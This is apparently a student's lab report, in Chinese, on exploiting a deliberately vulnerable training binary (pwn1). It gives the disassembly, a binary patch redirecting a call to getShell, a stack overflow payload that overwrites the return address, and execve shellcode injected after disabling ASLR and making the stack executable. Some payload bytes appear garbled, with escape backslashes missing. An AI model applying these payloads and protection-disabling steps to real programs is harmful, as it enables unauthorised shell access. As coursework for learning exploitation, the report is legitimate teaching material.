一、实验任务
实验目标
1.本次实验所要用到的是一个名字为pwn1的linux可执行文件
2.该程序包含三个函数:
main函数:用于调用foo函数
foo函数:用于回显用户所输入的字符串
getshell函数:返回一个可用的shell
3.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
4.该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。
5.我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode
实验内容
1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3.注入一个自己制作的shellcode并运行这段shellcode。
二、实验步骤
1.直接修改程序机器指令,改变程序执行流程
下载目标文件pwn1,并使用命令objdump -d pwn1 | more
进行反汇编
看main函数的第四行call 8048491<foo>
,它是要调用位于地址8048491处的foo函数。
·它对应的指令是它左边的e8 d7 ff ff ff
,这个e8
是call指令,用于跳转到某个地址,而d7 ff ff ff
则是机器要跳转到的地址。
·此时EIP寄存器中的值即为下条指令的地址:80484ba
。
·而call指令所调用的foo函数的地址=call指令所要跳转的地址+EIP寄存器中的值,所以有d7ffffff+80484ba=8048491
·既然我们想要main调用getShell函数,把foo函数的地址改成getShell函数的地址就好了,getShell函数的地址是804847d
(在前面忘记截图了)
·所以得到我们想要跳转的地址为804847d-80484ba=c3ffffff
,即我们需要把它的指令改为e8 c3 ff ff ff
使用命令vi pwn1
来修改,但是打开发现是这个样子的
这种啥也看不懂,使用命令:%!xxd
得转化成16进制的我们才能修改
这样一下子就好多了,在文档里输入/e8 d7
来快速查找到我们想要的。
之后把d7修改成c3保存。
再次查看修改后的汇编结果,发现已经变成e8 c3 ff ff ff
,并且是我们想要的getShell函数
运行已经修改后的可执行文件pwn1
可以看到,修改后的pwn1功能已经变成了一个shell,而不是之前的显示用户所输入的字符串了。
2.通过构造输入参数,造成BOF攻击,改变程序执行流
再弄来一份没有修改之前的pwn1,之后进行反汇编,正常调用foo函数,发现有漏洞,即系统只预存了28字节的空间。我们的预期是要覆盖EIP寄存器中的地址,所以我们要确认我们输入的那些字符串哪几个字符会覆盖到返回地址,这时就要用上gdb来调试了。
·先su
赋予权限
·使用命令apt-get update
来更新软件包
·之后使用命令apt-get install gdb
来安装gdb
输入gdb pwn1
来调试程序,再输入r
来运行程序
输入测试字符串1111111122222222333333334444444412345678
,一共40字节,发现程序段出现了错误。
使用命令info r
来查看寄存器的值,发现EIP寄存器中的值变成了34333231
,而这正是1234所对应的ASCII码,这就印证了我们输入的第33-36位字节将覆盖EIP寄存器中的值。
既然这样,我们如果想让main调用getShell函数,只需要将33-36位这四个字节改成getShell的地址。
之前我们已经知道getShell的地址是0804847d
,而考虑到反汇编结构中,机器指令高位在后、低位在前,那么我们输入的字符应该调整为:11111111222222223333333344444444x7dx84x04x08
。
可是我们无法通过键盘输入这样的16进制的值,所以要生成一个文件给它输入进去。
·输入命令perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
,目的是将perl生成的字符串储存到input中去。(x0a)表示回车。
·输入命令xxd input
来查看我们的input文件是否是想要的结果。
·输入命令(cat input; cat) | ./pwn2
,发现已经调用了getShell函数,输入ls和pwd来验证结果,没问题。
3.注入ShellCode并执行
要进行一波准备工作
apt-get install execstack //安装execstack命令
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
构造我们要输入的shellcode:x04x03x02x01x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00
·使用命令:perl -e 'print "A" x 32;print "x04x03x02x01x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
·之后运行一下(cat input_shellcode;cat) | ./pwn2
不要关闭这个终端,再打开一个终端,输入ps -ef | grep pwn2
查看pwn2的进程号
可以看出进程号是6602,之后进入gdb输入attach 6602
调试这个进程
输入命令disassemble foo
查看ret的进程值为0x080484ae
输入命令0x080484ae
在0x080484ae
处设置断点
在之前那个终端按下回车,之后回现在这个终端输入c
继续运行
输入info r esp
查看栈顶指针所在的位置,并查看改地址存放的数据:
很显然,0xffffd2ec
存放的是01020304
,也就是返回地址。那么意味着我们要返回的shellcode的地址就是0xffffd2ec+4=0Xffffd2f0
所以修改input_shellcode文件中的代码:
perl -e 'print "A" x 32;print "xf0xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
最后再运行pwn2,搞定。
三、遇到的问题及解决办法
ls段错误
请教了一下同学,发现是input_shellcode里多打了两位导致了地址溢出,后来重新编写了一下就解决了问题。
四、实验感想
网络对抗技术的第一次实验,实话实说一点也不简单,我本来汇编这门课就没有通过做起来更加吃力了。参考了几篇同学的博客还私信人家才解决了问题。不过也学习到了好多:NOP, JNE, JE, JMP, CMP汇编指令的机器码、反汇编和十六位的机器码、正确构造payload来进行BOF攻击,还是很有收获、很有意义的。
五、思考
什么是漏洞,漏洞有哪些危害?
·漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。
·如果被不法者利用,通过网络植入木马、病毒等方式来攻击或控制整个电脑,窃取电脑中的重要资料和信息,甚至破坏系统。